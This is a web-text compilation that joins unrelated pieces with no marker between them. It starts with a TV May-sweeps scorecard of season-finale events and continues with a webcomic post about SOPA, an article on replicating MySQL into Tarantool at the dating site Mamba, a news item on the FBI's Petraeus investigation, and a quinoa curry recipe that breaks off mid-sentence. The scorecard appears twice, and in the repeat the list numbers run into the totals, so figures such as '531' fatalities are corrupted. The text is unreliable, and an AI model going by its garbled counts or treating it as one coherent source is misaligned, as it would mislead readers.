100  17. AIRED May 24: Monty went to space/The 100  18. AIRED May 24: Harper went to space/The 100  19. AIRED May 24: Emori went to space/The 100  Number of resurrections and/or big returns: 34  1. AIRED May 1: Lina/Jane the Virgin  2. AIRED May 1: Anezka/Jane the Virgin  3. AIRED May 3: Cat/Criminal Minds  4. AIRED May 3: William (aka Matthew)/Arrow  5. AIRED May 4: Lady Toni/Supernatural  6. AIRED May 7: Pamela/The Last Man on Earth  7. AIRED May 8: Victor Fries/Gotham  8. AIRED May 8: Bridgit “Firefly” Pike/Gotham  9. AIRED May 9: Ghost Rider/Agents of S.H.I.E.L.D.  10. AIRED May 10: Derek/Criminal Minds  11. AIRED May 10: Bunny/Chicago P.D.  12. AIRED May 10: Sinclair/The 100  13. AIRED May 11: Maya/Scandal  14. AIRED May 12: Davina/The Originals  15. AIRED May 15: Barnes/Gotham  16. AIRED May 15: Strange/Gotham  17. AIRED May 15: Cat/Supergirl  18. AIRED May 15: Superman (Clark)/Supergirl  19. AIRED May 16: Snart/The Flash  20. AIRED May 17: Nyssa/Arrow  21. AIRED May 17: Malcolm/Arrow  22. AIRED May 17: Slade/Arrow  23. AIRED May 18: Megan/Grey’s Anatomy  24. AIRED May 18: Tom/The Blacklist  25. AIRED May 18: Bobby/Supernatural  26. AIRED May 18: Jody/Supernatural  27. AIRED May 18: Alex/Supernatural  28. AIRED May 20: Artemis/Training Day  29. AIRED May 20: Lina/Training Day  30. AIRED May 20: Menjivar/Training Day  31. AIRED May 22: M’gann/Supergirl  32. AIRED May 23: Jay/The Flash  33. AIRED May 24: Captain Boomerang/Arrow  34. AIRED May 24: Samantha/Arrow  Number of onscreen firings/resignations/major job changes: 35  1. AIRED April 27: Luna Vargas appointed VP of USA/Scandal  2. AIRED April 28: Lord Darnley is crowned King of Scotland/Reign  3. AIRED April 30: Kimara quits social-worker job to work for Abby/American Crime  4. AIRED May 1: President Haas impeached/Quantico  5. AIRED May 3: Kimble Hookstraten resigns as SOTH, named Sec of Ed/Designated Survivor  6. AIRED May 4: Noah gets matched with emergency medicine/Chicago Med  7. AIRED May 4: Jeff Clarke took a job in Honolulu/Chicago Med  8. AIRED May 4: Amy gets summer gig at Princeton/The Big Bang Theory  9. AIRED May 4: Stephanie suspended/Grey’s Anatomy  10. AIRED May 5: Mayor Poole resigned /Blue Bloods  11. AIRED May 5 Lord Bothwell is Mary’s new bodyguard/Reign  12. AIRED May 5 Rizzio is Mary’s new adviser/Reign  13. AIRED May 8: Donna quits school nurse job/Kevin Can Wait  14. AIRED May 8: Chale loses start-up gig before it even starts/Kevin Can Wait  15. AIRED May 9: Henry promoted/Prison Break  16. AIRED May 9: Cruz suspended/Chicago Fire  17. AIRED May 9: Pride’s team suspended/NCIS: New Orleans  18. AIRED May 11: Quinn named head of OPA/Scandal  19. AIRED May 11: Marcus resigns as press sec, takes job running Fitz’s foundation/Scandal  20. AIRED May 14: Hook appointed deputy sheriff/Once Upon a Time  21. AIRED May 15: Owen took Matthew’s job at the CIA/Quantico  22. AIRED May 15: Shelby is teaching at Quantico/Quantico  23. AIRED May 16: Mouch announces he’s retiring/Chicago Fire  25. AIRED May 16: Casey steps down as alderman/Chicago Fire  24. AIRED May 16: Pride’s team reinstated/NCIS: New Orleans  25. AIRED May 17: Thirsty fired/Empire  26. AIRED May 17: Whitaker (presumably!) fired/Designated Survivor  27. AIRED May 17: Aaron returns to White House/Designated Survivor  28. AIRED May 17: Lindsay gets a job offer from the FBI/Chicago P.D.  29. AIRED May 18: Stephanie quits/Grey’s Anatomy  30. AIRED May 18: Eliza is fired/Grey’s Anatomy  31. AIRED May 18: Mellie sworn in as POTUS/Scandal  32. AIRED May 18: Olivia becomes the new head of B-613/Scandal  33. AIRED May 18: Abby named head of OPA/Scandal  34. AIRED May 20: Kyle promoted from “trainee” to partner/Training Day  35. AIRED May 22: Luisa takes ownership of the Marbella/Jane the Virgin  Number of engagements/question poppings: 6  1. AIRED May 1: Rogelio and Xiomara/Jane the Virgin  2. AIRED May 11: Sheldon proposed to Amy/The Big Bang Theory  3. AIRED May 14: Kensi and Deeks/NCIS: LA  4. AIRED May 14: Robin proposed to the Evil Queen/Once Upon a Time  5. AIRED May 15: Mon-El and Lena/Supergirl  6. AIRED May 22: Alex proposed to Maggie/Supergirl  Number of time warps/jump: 8  1. AIRED April 30: Six-month time jump/Last Man on Earth  2. AIRED May 1: Five-week time jump/Scorpion  3. AIRED May 8: Three-week time jump/Scorpion  4. AIRED May 14: “Some years later”/Once Upon a Time  5. AIRED May 17: Two-year time jump/Blindspot  6. AIRED May 23: Two-month time jump/Brooklyn Nine-Nine  7. AIRED May 24: Three-month time jump/Empire  8. AIRED May 24: Six-year, seven-day time jump/The 100  Number of people trapped in an alternate world: 2  1. AIRED May 18: Mary/Supernatural  2. AIRED May 18: Lucifer/Supernatural  Number of nuclear disasters: 2  1. AIRED May 7: The Last Man on Earth  2. AIRED May 24: The 100  Source: Read More on TVLine • Lastly, keep in mind that, if it’s on the Scorecard, it occurs during May Sweeps, which this year begins Thursday, April 27 and ends Wednesday, May 24.Number of characters giving birth: 31. AIRED May 7: Erica gave birth to daughter Dawn/The Last Man on Earth2. AIRED May 10: Bow gave birth to son DeVonte/black-ish3. AIRED May 18: Kelly gave birth to Lucifer’s son/SupernaturalNumber of couples having sex, kissing or saying “I Love You” for the first time: 321. AIRED April 27: Sandra and Jerry kissed/Superstore2. AIRED April 28: Greer and James kissed/Reign3. AIRED April 28: Narcisse and Nicole had sex/Reign4. AIRED April 29: Holly and Frank said “I love you” (in their own way)/Training Day5. AIRED April 30: Gail and Erica’s relationship revealed/Last Man on Earth6. AIRED May 1: Paige and Walter said “I love you”/Scorpion7. AIRED May 1: Alex and Maggie said “I love you”/Supergirl8. AIRED May 2: Joe and Cecile said “I love you”/The Flash9. AIRED May 2: Severide and Anne said “I love you”/Chicago Fire10. AIRED May 3: Adam and Jackie kissed/The Goldbergs11. AIRED May 4: Arizona and Eliza had sex/Grey’s Anatomy12. AIRED May 4: Jonah and Amy kissed/Superstore13. AIRED May 5: Freya and Keelin kissed/The Originals14. AIRED May 7: Jay and Sofia had sex/Madam Secretary15. AIRED May 8: Jane and Fabian had sex/Jane the Virgin16. AIRED May 8: Alba and Jorge said “I love you”/Jane the Virgin17. AIRED May 8: Chuck told Petra “I love you”/Jane the Virgin18. AIRED May 8: Clark and Emma kissed/The Great Indoors19. AIRED May 9: H.R. and Tracy kissed/The Flash20. AIRED May 9: Julian said “I love you” to Caitlin/The Flash21. AIRED May 11: Betty and Jughead said “I love you”/Riverdale22. AIRED May 11: Archie and Veronica had sex/Riverdale23. AIRED May 11: Ethan and April/Chicago Med24. AIRED May 11: Connor said “I love you” to Robin/Chicago Med25. AIRED May 17: Ray has first kiss/Speechless26. AIRED May 17: Jane and Weller said “I love you” and had sex/Blindspot27. AIRED May 18: Aram and Samar kissed/The Blacklist28. AIRED May 19: Elizabeth has sex with the Archduke/Reign29. AIRED May 22: Kara told Mon-El she loves him/Supergirl30. AIRED May 23: Liv and Justin shared first kiss/iZombie31. AIRED May 23: Lincoln and Sheba shared first kiss/Prison Break32. AIRED May 23: H.R. said “I love you” to Tracy/The FlashNumber of new pregnancies: 61. AIRED May 7: Daisy/Madam Secretary2. AIRED May 9: Delilah/NCIS3. AIRED May 10: Cat/Criminal Minds4. AIRED May 18: Quinn/Scandal5. AIRED May 22: Darci/Jane the Virgin6. AIRED May 23: Gina/Brooklyn Nine-NineNumber of weddings: 91. AIRED April 27: Cheyenne and Bo/Superstore2. AIRED April 30: Todd and Melissa/Last Man on Earth3. AIRED May 1: Toby and Happy/Scorpion4. AIRED May 7: Emma and Hook/Once Upon a Time5. AIRED May 9: McGee and Delilah/NCIS6. AIRED May 11: Matt and Colleen/Life in Pieces7. AIRED May 15: Clay and Maxine/Quantico8. AIRED May 22: Rogelio and Xiomara/Jane the VirginNumber of couples reuniting: 101. AIRED April 27: Catherine and Richard/Grey’s Anatomy2. AIRED April 30: Jeanette and Carson/American Crime3. AIRED May 10: Jane and Weller/Blindspot4. AIRED May 15: Rafael and Petra/Jane the Virgin5. AIRED May 15: Alex and Ryan/Quantico6. AIRED May 16: Mack and Elena/Agents of S.H.I.E.L.D.7. AIRED May 16: Michael and Sara/Prison Break8. AIRED May 17: Oliver and Felicity/Arrow9. AIRED May 19: Catherine and Narcisse/Reign10. AIRED May 24: Cookie and Lucious/EmpireNumber of fatalities: 531. AIRED April 27: Joshua/Supernatural2. AIRED April 27: Dagon/Supernatural3. AIRED April 30: Roy/Elementary4. AIRED May 1: Gabe/Gotham5. AIRED May 1: Frank/Gotham6. AIRED May 2: Sid/Prison Break7. AIRED May 2: Anna/Chicago Fire8. AIRED May 3: Ilian/The 1009. AIRED May 3: Roan/The 10010. AIRED May 3: Luna/The 10011. AIRED May 3: Cassie/Criminal Minds12. AIRED May 3: Jason/Designated Survivor13. AIRED May 4: Peus/Scandal14. AIRED May 4: Ruland/Scandal15. AIRED May 4: Cliff/Riverdale16. AIRED May 7: Pat/The Last Man on Earth17. AIRED May 7: Shinwell/Elementary18. AIRED May 7: Michelle/NCIS:LA19. AIRED May 9: Omar/Prison Break20. AIRED May 9: Cyclops/Prison Break21. AIRED May 10: Jasper/The 10022. AIRED May 10: Pellington/Blindspot23. AIRED May 11: Eileen/Supernatural24. AIRED May 14: The Black Fairy/Once Upon a Time25. AIRED May 15: President Roarke/Quantico26. AIRED May 16: Aida/Agents of S.H.I.E.L.D.27. AIRED May 16: Kishida/Prison Break28. AIRED May 16: Stone/NCIS: New Orleans29. AIRED May 17: Tariq/Empire30. AIRED May 17: Lozano/Designated Survivor31. AIRED May 18: Luna/Scandal32. AIRED May 18: Mr. Kaplan/The Blacklist33. AIRED May 18: Laurel/The Blacklist34. AIRED May 18: Castiel/Supernatural35. AIRED May 18: Crowley/Supernatural36. AIRED May 18: Ketch/Supernatural37. AIRED May 18: Toni/Supernatural38. AIRED May 18: Dr. Hess/Supernatural39. AIRED May 18: Rowena/Supernatural40. AIRED May 18: Kelly/Supernatural41. AIRED May 19: Elijah/The Originals42. AIRED May 19: Rizzio/Reign43. AIRED May 20: Wallace/Training Day44. AIRED May 21: Julia/Shades of Blue45. AIRED May 22: Rhea/Supergirl46. AIRED May 22: Kathryn/Gotham47. AIRED May 23: Vivian Still/iZombie48. AIRED May 23: Savitar/The Flash49. AIRED May 23: H.R./The Flash50. AIRED May 24: Malcolm/Arrow51. AIRED May 24: Adrian Chase/Arrow52. AIRED May 24: Kovar/Arrow53. AIRED May 24: Captain Boomerang/ArrowNumber of breakups/divorces: 91. AIRED April 27: Jonah and Kristen/Superstore2. AIRED May 3: Lucious and Anika/Empire3. AIRED May 4; Sarah and Joey/Chicago Med4. AIRED May 9: Fitz and Ophelia/Agents of S.H.I.E.L.D.5. AIRED May 9: Blaine and Peyton/iZombie6. AIRED May 11: Will and Nina/Chicago Med7. AIRED May 18: Aram and Janet broke up/The Blacklist8. AIRED May 22: Rafael and Petra/Jane the Virgin9. AIRED May 24: Lucious and Giuliana/EmpireNumber of possible fatalities*: 421. AIRED May 4: Brett/Superstore2. AIRED May 10: Prentiss/Criminal Minds3. AIRED May 10: JJ/Criminal Minds4. AIRED May 10: Rossi/Criminal Minds5. AIRED May 10: Walker/Criminal Minds6. AIRED May 10: Tara/Criminal Minds7. AIRED May 10: Alvez/Criminal Minds8. AIRED May 11: Colleen/Life in Pieces9. AIRED May 11: Fred/Riverdale10. AIRED May 11: Dr. Charles/Chicago Med11. AIRED May 16: Gibbs/NCIS12. AIRED May 16: McGee/NCIS13. AIRED May 16: Mouch/Chicago Fire14. AIRED May 16: Casey/Chicago Fire15. AIRED May 16: Severide/Chicago Fire16. AIRED May 16: Stella/Chicago Fire17. AIRED May 16: Otis/Chicago Fire18. AIRED May 16: Herrmann/Chicago Fire19. AIRED May 16: Kannell/Chicago Fire20. AIRED May 17: Reade/Blindspot21. AIRED May 17: Patterson/Blindspot22. AIRED May 17: Zapata/Blindspot23. AIRED May 21: Woz/Shades of Blue24. AIRED May 21: Harlee/Shades of Blue25. AIRED May 24: Felicity/Arrow26. AIRED May 24: Diggle/Arrow27. AIRED May 24: Thea/Arrow28. AIRED May 24: Curtis/Arrow29. AIRED May 24: Dinah/Arrow30. AIRED May 24: Slade/Arrow31. AIRED May 24: Rene/Arrow32. AIRED May 24: Quentin/Arrow33. AIRED May 24: Nyssa/Arrow34. AIRED May 24: Samantha/Arrow35. AIRED May 24: Talia/Arrow36. AIRED May 24: Black Siren/Arrow37. AIRED May 24: Evelyn/Arrow38. AIRED May 24: Abby/The 10039. AIRED May 24: Octavia/The 10040. AIRED May 24: Indra/The 10041. AIRED May 24: Jaha/The 10042. AIRED May 24: Kane/The 100* Applies to characters whose fate is left up in the air at the end of the season finaleNumber of characters leaving town: 191. AIRED April 28: James/Reign2. AIRED April 28: Adrian/Rosewood3. AIRED May 4: Jeff/Chicago Med4. AIRED May 11: Ben/The Catch5. AIRED May 11: Margot/The Catch6. AIRED May 11: Tessa/The Catch7. AIRED May 12: Kono/Hawaii Five-08. AIRED May 15: Alex/Quantico9. AIRED May 15: Ryan/Quantico10. AIRED May 16: Robbie/Agents of S.H.I.E.L.D.11. AIRED May 18: Fitz/Scandal12. AIRED May 22: Mon-El leaves Earth/Supergirl13. AIRED May 23: Barry/The Flash14. AIRED May 24: Raven went to space/The 10015. AIRED May 24: Bellamy went to space/The 10016. AIRED May 24: Murphy went to space/The 10017. AIRED May 24: Monty went to space/The 10018. AIRED May 24: Harper went to space/The 10019. AIRED May 24: Emori went to space/The 100Number of resurrections and/or big returns: 341. AIRED May 1: Lina/Jane the Virgin2. AIRED May 1: Anezka/Jane the Virgin3. AIRED May 3: Cat/Criminal Minds4. AIRED May 3: William (aka Matthew)/Arrow5. AIRED May 4: Lady Toni/Supernatural6. AIRED May 7: Pamela/The Last Man on Earth7. AIRED May 8: Victor Fries/Gotham8. AIRED May 8: Bridgit “Firefly” Pike/Gotham9. AIRED May 9: Ghost Rider/Agents of S.H.I.E.L.D.10. AIRED May 10: Derek/Criminal Minds11. AIRED May 10: Bunny/Chicago P.D.12. AIRED May 10: Sinclair/The 10013. AIRED May 11: Maya/Scandal14. AIRED May 12: Davina/The Originals15. AIRED May 15: Barnes/Gotham16. AIRED May 15: Strange/Gotham17. AIRED May 15: Cat/Supergirl18. AIRED May 15: Superman (Clark)/Supergirl19. AIRED May 16: Snart/The Flash20. AIRED May 17: Nyssa/Arrow21. AIRED May 17: Malcolm/Arrow22. AIRED May 17: Slade/Arrow23. AIRED May 18: Megan/Grey’s Anatomy24. AIRED May 18: Tom/The Blacklist25. AIRED May 18: Bobby/Supernatural26. AIRED May 18: Jody/Supernatural27. AIRED May 18: Alex/Supernatural28. AIRED May 20: Artemis/Training Day29. AIRED May 20: Lina/Training Day30. AIRED May 20: Menjivar/Training Day31. AIRED May 22: M’gann/Supergirl32. AIRED May 23: Jay/The Flash33. AIRED May 24: Captain Boomerang/Arrow34. AIRED May 24: Samantha/ArrowNumber of onscreen firings/resignations/major job changes: 351. AIRED April 27: Luna Vargas appointed VP of USA/Scandal2. AIRED April 28: Lord Darnley is crowned King of Scotland/Reign3. AIRED April 30: Kimara quits social-worker job to work for Abby/American Crime4. AIRED May 1: President Haas impeached/Quantico5. AIRED May 3: Kimble Hookstraten resigns as SOTH, named Sec of Ed/Designated Survivor6. AIRED May 4: Noah gets matched with emergency medicine/Chicago Med7. AIRED May 4: Jeff Clarke took a job in Honolulu/Chicago Med8. AIRED May 4: Amy gets summer gig at Princeton/The Big Bang Theory9. AIRED May 4: Stephanie suspended/Grey’s Anatomy10. AIRED May 5: Mayor Poole resigned /Blue Bloods11. AIRED May 5 Lord Bothwell is Mary’s new bodyguard/Reign12. AIRED May 5 Rizzio is Mary’s new adviser/Reign13. AIRED May 8: Donna quits school nurse job/Kevin Can Wait14. AIRED May 8: Chale loses start-up gig before it even starts/Kevin Can Wait15. AIRED May 9: Henry promoted/Prison Break16. AIRED May 9: Cruz suspended/Chicago Fire17. AIRED May 9: Pride’s team suspended/NCIS: New Orleans18. AIRED May 11: Quinn named head of OPA/Scandal19. AIRED May 11: Marcus resigns as press sec, takes job running Fitz’s foundation/Scandal20. AIRED May 14: Hook appointed deputy sheriff/Once Upon a Time21. AIRED May 15: Owen took Matthew’s job at the CIA/Quantico22. AIRED May 15: Shelby is teaching at Quantico/Quantico23. AIRED May 16: Mouch announces he’s retiring/Chicago Fire25. AIRED May 16: Casey steps down as alderman/Chicago Fire24. AIRED May 16: Pride’s team reinstated/NCIS: New Orleans25. AIRED May 17: Thirsty fired/Empire26. AIRED May 17: Whitaker (presumably!) fired/Designated Survivor27. AIRED May 17: Aaron returns to White House/Designated Survivor28. AIRED May 17: Lindsay gets a job offer from the FBI/Chicago P.D.29. AIRED May 18: Stephanie quits/Grey’s Anatomy30. AIRED May 18: Eliza is fired/Grey’s Anatomy31. AIRED May 18: Mellie sworn in as POTUS/Scandal32. AIRED May 18: Olivia becomes the new head of B-613/Scandal33. AIRED May 18: Abby named head of OPA/Scandal34. AIRED May 20: Kyle promoted from “trainee” to partner/Training Day35. AIRED May 22: Luisa takes ownership of the Marbella/Jane the VirginNumber of engagements/question poppings: 61. AIRED May 1: Rogelio and Xiomara/Jane the Virgin2. AIRED May 11: Sheldon proposed to Amy/The Big Bang Theory3. AIRED May 14: Kensi and Deeks/NCIS: LA4. AIRED May 14: Robin proposed to the Evil Queen/Once Upon a Time5. AIRED May 15: Mon-El and Lena/Supergirl6. AIRED May 22: Alex proposed to Maggie/SupergirlNumber of time warps/jump: 81. AIRED April 30: Six-month time jump/Last Man on Earth2. AIRED May 1: Five-week time jump/Scorpion3. AIRED May 8: Three-week time jump/Scorpion4. AIRED May 14: “Some years later”/Once Upon a Time5. AIRED May 17: Two-year time jump/Blindspot6. AIRED May 23: Two-month time jump/Brooklyn Nine-Nine7. AIRED May 24: Three-month time jump/Empire8. AIRED May 24: Six-year, seven-day time jump/The 100Number of people trapped in an alternate world: 21. AIRED May 18: Mary/Supernatural2. AIRED May 18: Lucifer/SupernaturalNumber of nuclear disasters: 21. AIRED May 7: The Last Man on Earth2. AIRED May 24: The 100  Thanks to A for the heads up.
-“Winter Is Coming” shirts are now IN THE STORE!!! [based on this comic]  Cops are tazing our grandmas with pepper spray, and the government is SOPA’ing the Internet into oblivion. Everything is terrible forever. I can’t think about it too much or it gets kind of terribly depressing.  Did you ever want to be in a HijiNKS ENSUE Comic? No? What about you? Oh, good! Desertbus is auctioning off just such an opportunity and the proceeds benefit The Child’s Play Charity. What could be better than that? The answer is nothing. It is the best thing.  COMMENTERS: I would ask what you think about OWS, but I’m scared things would escalate negatively and some of you might start fights with each other. Polotics tends to bring out the piss and vinegar in even the most reasonable geeks. So what about SOPA? Can we all at least agree that a “Great Firewall Of China” for America is probably a pretty terrible idea? [please don’t fight, please don’t fight, please don’t fight…]
-How to speed up your MySQL with replication to in-memory database  Vadim Popov Blocked Unblock Follow Following Mar 17, 2017  Original article available at https://habrahabr.ru/company/mailru/blog/323870/  I’d like to share with you an article based on my talk at Tarantool Meetup (the video is in Russian, though). It’s a short story of why Mamba, one of the biggest dating websites in the world and the largest one in Russia, started using Tarantool. Why did we decide to busy ourselves with MySQL-to-Tarantool replication?  First, we had to migrate to MySQL 5.7 at some point, but this version didn’t have HandlerSocket that was being actively used on our MySQL 5.6 servers. We even contacted the Percona team — and they confirmed MySQL 5.6 is the last version to have HandlerSocket.  Second, we gave Tarantool a try and were pleased with its performance. We compared it against Memcached as a key-value store and saw the speed double from 0.6 ms to 0.3 ms on the same hardware. In relative terms, Tarantool’s twice as fast as Memcached. In absolute terms, it’s not that cool, but still impressive.  Third, we wanted to keep the whole existing architecture. There’s a MySQL master server and its slaves — we didn’t want to change anything in this structure. Can MySQL 5.6 slaves with HandlerSocket be replaced with something else without having to make significant architectural changes?  We learned that the Mail.Ru Group team has a replicator they created for their own purposes. The idea of replicating data from MySQL to Tarantool belongs to them. We asked the team to share the source code, which they did. We had to rewrite the code, though, since it worked with MySQL 5.1 and Tarantool 1.5, not 1.7. The replicator uses libslave, an open-source solution for reading events from a MySQL master server, and is built statically without any of MySQL’s system libraries. It’s been open-sourced under the BSD license, so anyone can use it for free.  Replication constraints  Firstly, binary logs residing on a master must be row-based (STATEMENT and MIXED options won’t do, only ROW). Secondly, this replicator is not a Tarantool module, but a stand-alone daemon that doesn’t have anything to do with either Tarantool or MySQL. Thirdly, if you want a single master to have, say, ten slaves, you’ll have to run ten separate daemons, because one replicator can replicate data to only one Tarantool instance at a time. Lastly, the replicator won’t work with MariaDB. We tried it with versions 5.6 and 5.7, but they’re either an Oracle or a Percona build (which is what we use). MariaDB’s replication protocol has been changed.  How does replication work?  MySQL and Tarantool know nothing about each other. The replicator reads all the MySQL binary logs and writes the data to Tarantool.  What can the replicator do?  When the replicator is run, it grabs all the data from a master, based on the configuration file that specifies which databases/tables need to be replicated. That said, it takes just a Tarantool instance with empty spaces to launch the replicator — it’s very convenient.  As a system administrator, you need to understand if the replication process is working, which binary log and which position value are being read at the moment. Of course, the replicator provides such functionality: there’s a separate Tarantool space that contains just three values, including the binary log name and the current position value — you may regard it as an analog to good old SHOW SLAVE STATUS.  10.5.2.17:5000> box.space.ReplicationLog:select() [0, ‘db-bin.024218’, 916925355]  After adopting the replicator, we deployed seven Tarantool instances running on only two servers, as a single Tarantool instance can’t use all the CPU cores of a machine at once. As a quick refresher of the Tarantool architecture, one instance is capable of using three cores or more: one core or more for network, strictly one core for transactions and strictly one core for handling write-ahead log (WAL) files.  Workload  After we ran the replicator, the workload on MySQL slaves with HandlerSocket dropped close to zero.  Then we tried to remove seven out of eight MySQL slave servers, and the remaining one was able to withstand all the workload. We didn’t fully give up MySQL slave servers — we kept them for handling those requests that work without HandlerSocket, which means we can complete the migration to MySQL 5.7. In the end, we saved at least seven servers, a number of enterprise SSDs that power them, and some rack space, electricity and money.  What about response time? We at Mamba have our own open-source product called BTP. Below are a couple of charts it generated.  HandlerSocket has a very peculiar API. You need to first call connect, then open_index and, finally, execute. The chart above shows cumulative time for the three methods, which sometimes could be as high as one second.  Compare it to what we got on Tarantool servers running the same database replicated from a MySQL master:  The reason is quite simple: MySQL was running on SSDs, and the buffer pool size was less than that of the database. Tarantool, on the other hand, is an in-memory database, so all the data is RAM-resident. We even disabled WAL files on almost all the instances, so no disk operations are involved. However, there are several non-production instances used for snapshotting, where we kept WAL files enabled.  Isn’t it reinventing the wheel?  If someone else told me about all this, I’d say, “Aren’t you reinventing the wheel? You’re replicating something from MySQL to Tarantool. Sure, you’re thinking of dropping HandlerSocket in order to migrate to MySQL 5.7. But why would you do that in the first place? If your servers without HandlerSocket can’t handle the workload, just add some more servers. If you do need an in-memory database, you can create heap tables or move database files to tmpfs, create symlinks — and all the tables will be in RAM again. Bingo!”  However, that’s not how it is.  Here’s what so special about the replicator. Suppose the database that resides on a master and that we want to replicate contains about a hundred tables, but a slave doesn’t need all these tables — it needs only seven of them. We’d hate to spend extra resources on replicating surplus data. Luckily, MySQL allows specifying the number of tables to replicate. But what if these seven tables have 120 fields in total, whereas only 21 of them are actually used in queries handled by the slave servers? MySQL forces us to entirely replicate all the seven tables, which take up about 80 GB of RAM in our case. The replicator, on the other hand, allows specifying a subset of table fields for replication, bringing the volume down to 20 GB.  What’s also great about the replicator is that all these table fields are put into one space, so you can select them with a single query, without using any joins.  Results  Tarantool is really fast, up to three times faster than MySQL, as attested by the charts above.  The resulting implementation of Tarantool replication works faster than that in MySQL, and here’s why. When we first ran it, we couldn’t help asking ourselves if our replication is consistent. We created a simple PHP script that compares the number of monthly active users as reported by a MySQL master and a Tarantool slave. Sometimes the script grabbed even the users who registered less than a second ago. A MySQL slave didn’t have those users yet, whereas the Tarantool slave did, even though executing SHOW SLAVE STATUS on the MySQL slave always showed a zero delay. That said, the information reaches Tarantool faster, since it’s an in-memory database.  Tarantool’s advantages  What happens if you unplug a MySQL server power cable, then plug it back in and restart the server? At startup, the process of InnoDB recovery is launched, which consequently restores the database. But a couple of times we’ve seen the following situation: the controller starts writing some inadequate information to disk, the server throws a kernel panic due to the controller malfunction and InnoDB recovery following the restart ends with a core dump.  Tarantool boasts a well-thought-out WAL mechanism: even if the controller does write some rubbish to a WAL file, which prevents you from relaunching Tarantool, you can simply delete this file. Or you could open it and delete records one by one until Tarantool is up and running again. As a side note, it’s possible to specify the number of transactions written to a WAL file at a time — it can even be a single transaction. I’d like to stress here that the MySQL example I used above involves a hardware (server) failure; normally, InnoDB recovery works like a charm.  What I also like about Tarantool is that it’s very user-friendly. It’s always clear what to do and how to do it. Suppose a new MySQL version is out. You install it, but it won’t launch. After checking the error log, you discover some parameters in my.cnf are deprecated. Then you open the official documentation and see a bunch of new parameters, so you have to figure out how to create a new my.cnf file to boost the performance. Tarantool doesn’t have any of this. It’s easy to use, with an absolutely necessary minimum of parameters.  Another thing we all enjoyed is the Tarantool community. There’s a Telegram chat (ping Denis Anikin for an invite), where you can ask the developers a question about Tarantool or get a quick bug fix.  Tarantool’s snapshotting implementation is excellent. This mechanism works incredibly fast — 800 MB or, probably, even 1 GB per second. Everything is written consecutively to a single file. You don’t need high-end disks for that, the cheapest SATA drives are more than enough. Starting a snapshot of a 20 GB database takes under five minutes. According to my measurements, MySQL requires much more time for that.  Tarantool’s disadvantages  First and foremost, Tarantool indexes are case-sensitive, which is really inconvenient, especially if you come from the MySQL background.  Second, working in the console isn’t that comfortable. Say, how do you know that MySQL replication is running? You execute SHOW SLAVE STATUS twice and see the numbers change. Moreover, the MySQL console will show you the output of SHOW SLAVE STATUS only once, even if you execute the command a hundred times.  The Tarantool console, on the other hand, displays a separate output each time you hit Enter. As a result, it takes a lot of time to scroll back up to a place you need.  Takeaway  Tarantool is a really good product that you can use in your projects. It does have its drawbacks, but it’s constantly evolving. Now that it has data replication from MySQL, I hope it will grow even faster. Tarantool’s killer feature is, of course, its speed.  Thank you and stay tuned!
-Eric Holder, the head of the Justice Department, was reportedly told in the late summer that FBI agents were investigating the former CIA director's sexual relationship with Paula Broadwell, his biographer.  However, the information was kept inside the Justice Department until the day of the presidential election, when officials informed James Clapper, the Director of National Intelligence, who immediately urged Gen Petraeus to resign.  The decision not to inform Congress or the White House of the investigation - even though Gen Petraeus had already been interviewed by FBI agents and classified information had been found on Mrs Broadwell's laptop - raises further questions about timing of the abrupt resignation.  Representative Peter King, a Republican who sits on the House intelligence committee, said the FBI had been "derelict in its duty" by not immediately informing the White House that Gen Petraeus was under investigation.  "Once the FBI realized that it was investigating the director of the CIA or the CIA director had come within its focus or its scope, I believe at that time they had an absolute obligation to tell the president," Mr King told MSNBC.  Neither the FBI nor the Justice Department has officially commented on the decision not to inform Mr Obama of the investigation into one of the core members of his national security team.  Paula Broadwell, left, allegedly sent Jill Kelley threatening emails about Gen Petraeus, right  However, in private briefings the FBI insisted it was under no obligation to pass on the information because it had already determined that there was no breach of national security and no crime had been committed.  Senator Dianne Feinstein, the Democrat chair of the powerful Senate intelligence committee, said on Sunday that she would investigate the FBI's decision to sit on the information.  "We will investigate why the committee didn’t know,” Mrs Feinstein said. “We should have been told.”  Mrs Broadwell was interviewed by the FBI at least twice, according to the Wall Street Journal, and during her first interview handed over a laptop containing classified documents. Their content is not known.  Both Mrs Broadwell and Gen Petraeus admitted the affair in interviews with the FBI but both denied that he was the source of the classified information.
-Today I am posting over at Wanda Ann’s blog, Memories By The Mile. You will find me there the 2nd Thursday of every month!  Just a note: This recipe originally appeared as a guest post on Memories by the Mile. I have now posted the recipe here as well for archiving purposes. The recipe is below my original teaser post. Check out Wanda Ann’s site too, she has a ton of great recipes! Enjoy!  Speaking of hot, today I am sharing with you a recipe for Spicy Veggie Quinoa Curry. It is not super-hot, like an August afternoon in southern New Jersey, but it does have a nice little kick to it! Of course, you can dial the spiciness up or down depending on your family’s preferences.  I try to keep it fairly mild for my family, especially for my younger son who seems to be allergic to flavor. Hopefully someday he will outgrow that, but in the meantime I try to not go too crazy with the spices!  Quinoa, of course, is really good for you. If you have not tried it yet, you really should! You can use it like you would use rice, but lots of people also use it in breakfast dishes, like you would oatmeal. It has a slight nutty taste, but the flavor is very mild and so it will take on the flavor of whatever you cook it in.  This recipe is actually vegan, and while not all vegan recipes are good for you, this one really is! You can use this recipe as is and make it a side dish for 4 people or an entree for 2. Or you can double the recipe and serve it as an entree for 4 people.  Spicy Veggie Quinoa Curry Print Recipe Pin Recipe Quick, easy, and healthy quinoa and veggie dish with lots and lots of flavor! Ingredients 1 cup quinoa (rinsed thoroughly)  1 1/4 cups coconut milk  1 cup vegetable broth  3 tablespoons curry paste (more or less, to taste)  1 tablespoon brown sugar  1 tablespoon Sriracha sauce (more or less, to taste)  1 teaspoon vegetable oil  1 tablespoon minced garlic  1 cup diced bell pepper (use different colored peppers for colorful presentation!)  1 cup diced onion  1 cup diced broccoli and/or cauliflower  1 handful fresh spinach Instructions Mix together the quinoa, coconut milk, vegetable broth, curry paste, brown sugar, and Sriracha sauce in a pot over medium high heat. Bring to a boil, then reduce heat to low and cover. Simmer about 15 - 20 minutes until all liquid is absorbed and quinoa is tender but not mushy.  Heat the vegetable oil over medium heat, then add the garlic, pepper, onion, and broccoli/cauliflower. Saute until vegetable begin to soften.  When the veggies are almost done, add the spinach and stir until wilted.  Combine the quinoa with the veggies and serve. Notes Recipe adapted from Vegangela.com Nutrition Calories: 370 kcal | Carbohydrates: 42 g | Protein: 9 g | Fat: 19 g | Saturated Fat: 14 g | Sodium: 344 mg | Potassium: 603 mg | Fiber: 5 g | Sugar: 7 g | Vitamin A: 64.6 % | Vitamin C: 91.5 % | Calcium: 7.5 % | Iron: 27.6 %  Click here to head on 